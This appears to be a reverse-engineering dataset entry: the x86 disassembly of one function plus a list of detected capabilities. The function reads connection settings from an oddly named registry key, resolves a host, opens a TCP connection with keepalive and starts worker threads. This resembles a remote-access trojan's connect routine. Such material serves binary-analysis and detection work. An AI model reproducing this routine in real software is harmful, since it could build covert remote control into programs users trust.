Function at 0x402e60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Query or enumerate registry value
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1798
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
mov edx, dword [eax]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x177c], edi
call edx
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esi + 0x18]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.WINMM.dll_timeGetTime]
sub eax, 0xa
mov dword [esi + 0x14], eax
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x18]
push 0x534
push eax
lea eax, [ebp - 0x1750]
push eax
mov dword [esi + 0x20], ecx
mov dword [esi + 0x24], edx
mov byte [esi + 0x28], 0xca
call fcn.00423160
push edi
lea ecx, [ebp - 0x1750]
push 0x29a
push ecx
call fcn.004205b2
add esp, 0x18
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
call edi
mov ebx, eax
push ebx
call fcn.0041e128
mov edx, dword [ebp - 0x177c]
add esp, 4
push 0
push 0
push ebx
push eax
push 0xffffffffffffffff
push edx
push 0
push 0
mov dword [ebp - 0x1774], eax
call edi
mov eax, dword [ebp - 0x1774]
push 0x7c
push eax
call fcn.00420650
add esp, 8
test eax, eax
jne 0x403330
push 0x208
push eax
lea ecx, [ebp - 0x1014]
push ecx
mov dword [ebp - 0x1770], eax
call fcn.00423160
push 0x208
lea edx, [ebp - 0x121c]
push 0
push edx
call fcn.00423160
push 0x208
lea eax, [ebp - 0xe0c]
push 0
push eax
call fcn.00423160
add esp, 0x24
lea ecx, [ebp - 0x1770]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x1784], 0x104
mov dword [ebp - 0x1774], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [ebp - 0x1784]
push edx
mov edx, dword [ebp - 0x1770]
lea eax, [ebp - 0x1014]
push eax
lea ecx, [ebp - 0x1774]
push ecx
push 0
push 0x43ea8c
push edx
call ebx
test eax, eax
jne 0x40330e
lea eax, [ebp - 0x1784]
push eax
mov eax, dword [ebp - 0x1770]
lea ecx, [ebp - 0x121c]
push ecx
lea edx, [ebp - 0x1774]
push edx
push 0
push 0x43ea94
push eax
call ebx
lea ecx, [ebp - 0x1784]
push ecx
mov ecx, dword [ebp - 0x1770]
lea edx, [ebp - 0xe0c]
push edx
lea eax, [ebp - 0x1774]
push eax
push 0
push 0x43ea9c
push ecx
call ebx
push 0x3ff
lea edx, [ebp - 0x403]
push 0
push edx
mov byte [ebp - 0x404], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1014]
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0x404]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x1014]
push edx
push 0
push 0
call edi
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403087
sub eax, edx
lea ecx, [ebp - 0x404]
push ecx
mov edx, eax
call fcn.00402de0
add esp, 4
cmp byte [ebp - 0x404], 0
lea ebx, [ebp - 0x404]
je 0x4030ca
movzx edx, byte [ebx]
push edx
call fcn.00420adf
add esp, 4
test eax, eax
je 0x40331b
inc ebx
cmp byte [ebx], 0
jne 0x4030b0
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4030d3
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0x404]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x404]
lea edx, [ecx + 1]
mov dword [ebp - 0x1778], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x403104
sub ecx, dword [ebp - 0x1778]
push eax
push 0x450080
inc ecx
push ecx
lea eax, [ebp - 0x404]
push eax
push 0
push 0
call ebx
push 0x3ff
lea ecx, [ebp - 0x803]
push 0
push ecx
mov byte [ebp - 0x804], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x121c]
push edx
push 0
push 0
call edi
push 0
push 0
push eax
lea eax, [ebp - 0x804]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x121c]
push ecx
push 0
push 0
call edi
lea eax, [ebp - 0x804]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403180
sub eax, edx
lea edx, [ebp - 0x804]
push edx
mov edx, eax
call fcn.00402de0
add esp, 4
lea eax, [ebp - 0x804]
call fcn.00403d20
test al, al
je 0x40331b
lea eax, [ebp - 0x804]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031b6
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0x804]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x804]
lea edx, [ecx + 1]
mov dword [ebp - 0x1778], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4031e1
sub ecx, dword [ebp - 0x1778]
push eax
push 0x450af0
inc ecx
push ecx
lea eax, [ebp - 0x804]
push eax
push 0
push 0
call ebx
push 0x3ff
lea ecx, [ebp - 0xc03]
push 0
push ecx
mov byte [ebp - 0xc04], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0xe0c]
push edx
push 0
push 0
call edi
push 0
push 0
push eax
lea eax, [ebp - 0xc04]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0xe0c]
push ecx
push 0
push 0
call edi
lea eax, [ebp - 0xc04]
lea edx, [eax + 1]
jmp 0x403260
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403260
sub eax, edx
lea edx, [ebp - 0xc04]
push edx
mov edx, eax
call fcn.00402de0
add esp, 4
lea eax, [ebp - 0xc04]
call fcn.00403d20
test al, al
je 0x40331b
lea eax, [ebp - 0xc04]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403296
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0xc04]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0xc04]
lea edx, [ecx + 1]
mov dword [ebp - 0x1778], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4032c1
sub ecx, dword [ebp - 0x1778]
push eax
push 0x451560
inc ecx
push ecx
lea eax, [ebp - 0xc04]
push eax
push 0
push 0
call ebx
mov ecx, dword [ebp - 0x1770]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x177c]
push edx
push 0x29a
push 0x451a98
call fcn.004205b2
add esp, 0xc
jmp 0x40338b
mov eax, dword [ebp - 0x1770]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8
push 0x451a98
lea ecx, [ebp - 0x1750]
push 0x43eaa4
push ecx
call fcn.00404b60
push 0x450080
lea edx, [ebp - 0x1750]
push 0x43eaac
push edx
call fcn.00404b60
push 0x450af0
lea eax, [ebp - 0x1750]
push 0x43eab4
push eax
call fcn.00404b60
push 0x451560
lea ecx, [ebp - 0x1750]
push 0x43eabc
push ecx
call fcn.00404b60
add esp, 0x30
push 6
push 1
push 2
mov byte [esi + 0x29], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x64], eax
cmp eax, 0xffffffff
je 0x40331b
push 0
push 0
push 0
push 0
push 0x451a98
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push 0x451a98
push 0
push 0
call edi
mov dword [ebp - 0x177c], eax
inc eax
push eax
call fcn.0041e128
mov edx, dword [ebp - 0x177c]
add esp, 4
push 0
push 0
push edx
mov ebx, eax
push ebx
push 0x451a98
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push 0x451a98
push 0
push 0
call edi
mov eax, dword [ebp - 0x177c]
push ebx
mov byte [ebx + eax], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
call fcn.0041fce3
add esp, 4
test edi, edi
je 0x40331b
mov edx, dword [ebp + 0xc]
mov ecx, 2
push edx
mov word [ebp - 0x176c], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x176a], ax
mov eax, dword [edi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esi + 0x64]
push 0x10
lea eax, [ebp - 0x176c]
push eax
push ecx
mov dword [ebp - 0x1768], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40331b
mov eax, dword [esi + 0x64]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 0x1780]
push edx
push 0x1001
push 0xffff
mov ebx, 0x40000
push eax
mov dword [ebp - 0x1780], ebx
call edi
mov edx, dword [esi + 0x64]
push 4
lea ecx, [ebp - 0x1780]
push ecx
push 0x1002
push 0xffff
push edx
mov dword [ebp - 0x1780], ebx
call edi
mov ecx, dword [esi + 0x64]
push 4
lea eax, [ebp - 0x178c]
push eax
push 0x1006
push 0xffff
push ecx
mov dword [ebp - 0x178c], 0x7530
call edi
mov eax, dword [esi + 0x64]
push 4
lea edx, [ebp - 0x1790]
push edx
push 8
push 0xffff
mov ebx, 1
push eax
mov dword [ebp - 0x1790], ebx
call edi
test eax, eax
jne 0x403533
push eax
push eax
lea ecx, [ebp - 0x1794]
push ecx
push eax
push eax
mov eax, dword [esi + 0x64]
push 0xc
lea edx, [ebp - 0x175c]
push edx
push 0x98000004
push eax
mov dword [ebp - 0x175c], ebx
mov dword [ebp - 0x1758], 0x2bf20
mov dword [ebp - 0x1754], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push ebx
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ecx, [ebp - 0x1788]
push ecx
push 0
push esi
push 0x4035a0
push 0
push 0
mov dword [ebp - 0x1788], 0
call fcn.0042085e
lea edx, [ebp - 0x1798]
push edx
push 0
push esi
push 0x4036b0
push 0
push 0
mov dword [esi + 0x5c], eax
call fcn.0042085e
mov ecx, dword [ebp - 4]
add esp, 0x30
pop edi
mov dword [esi + 0x60], eax
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret 8